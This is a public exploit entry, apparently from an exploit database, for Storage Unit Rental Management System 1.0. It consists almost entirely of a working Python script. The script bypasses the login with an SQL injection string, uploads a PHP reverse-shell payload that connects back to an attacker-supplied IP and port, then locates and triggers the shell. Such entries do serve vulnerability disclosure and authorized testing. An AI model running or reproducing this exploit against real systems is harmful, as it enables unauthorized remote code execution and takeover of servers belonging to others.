Storage Unit Rental Management System 1.0 Exploit, Remote Code Execution (RCE) (Unauthenticated)

# Exploit Title: Storage Unit Rental Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 28.09.2021
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://www.sourcecodester.com/php/14932/storage-unit-rental-management-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14932&title=Storage+Unit+Rental+Management+System+using+PHP+Free+Source+Code
# Version: 1
# Tested on: Ubuntu

import requests
from bs4 import BeautifulSoup
import sys
import random
import string
import time

if len(sys.argv) != 4:
    print("[~] Usage : python3 exploit.py localhost ip port")
    exit()

site = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
shellcode = "<?php $sock=fsockopen('" +ip+"',"+port+");exec('/bin/sh -i <&3 >&3 2>&3'); ?>"

letters = string.ascii_lowercase
name = ''.join(random.choice(letters) for i in range(5))

def LoginAndShellUpload():
    login = 'http://'+site+':80/storage/classes/Login.php?f=login'
    session = requests.session()
    post_data = {"username": "' OR 1=1-- -", "password": "aa"}
    user_login = session.post(login, data=post_data)
    cookie = session.cookies.get_dict()

    print('[+]Success login')
    print('[+]Try Shell upload')
    time.sleep(2)
    #shell upload
    url = 'http://'+site+':80/storage/classes/SystemSettings.php?f=update_settings'
    cookies = cookie
    headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------246884504016047375913085888751", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/storage/admin/?page=system_info", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}
    data = "-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nStorage Unit Rental Management System - PHP\r\n-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nSURMS - PHP\r\n-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"img\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"cover\"; filename=\""+name+".php\"\r\nContent-Type: application/x-php\r\n\r\n"+shellcode+"\n\n\r\n-----------------------------246884504016047375913085888751--\r\n"
    requests.post(url, headers=headers, cookies=cookies, data=data)
    print('[+]Success!')
    print('[+]Getting reverse shell')
    time.sleep(2)


def RCE():

    path = 'http://'+site+'/storage/uploads/'
    html_text = requests.get(path).text
    soup = BeautifulSoup(html_text, 'html.parser')
    for link in soup.find_all('a'):
        data = link.get('href')
        with open('shell_location.txt', 'w') as f:
            f.write(data)

    path2 = 'shell_location.txt'
    shell_file = open(path2,'r')
    shell = shell_file.readline()

    r = requests.get('http://'+site+'/storage/uploads/'+shell)
    print(r.text)
    print('[+]Hacked!')



LoginAndShellUpload()
RCE()

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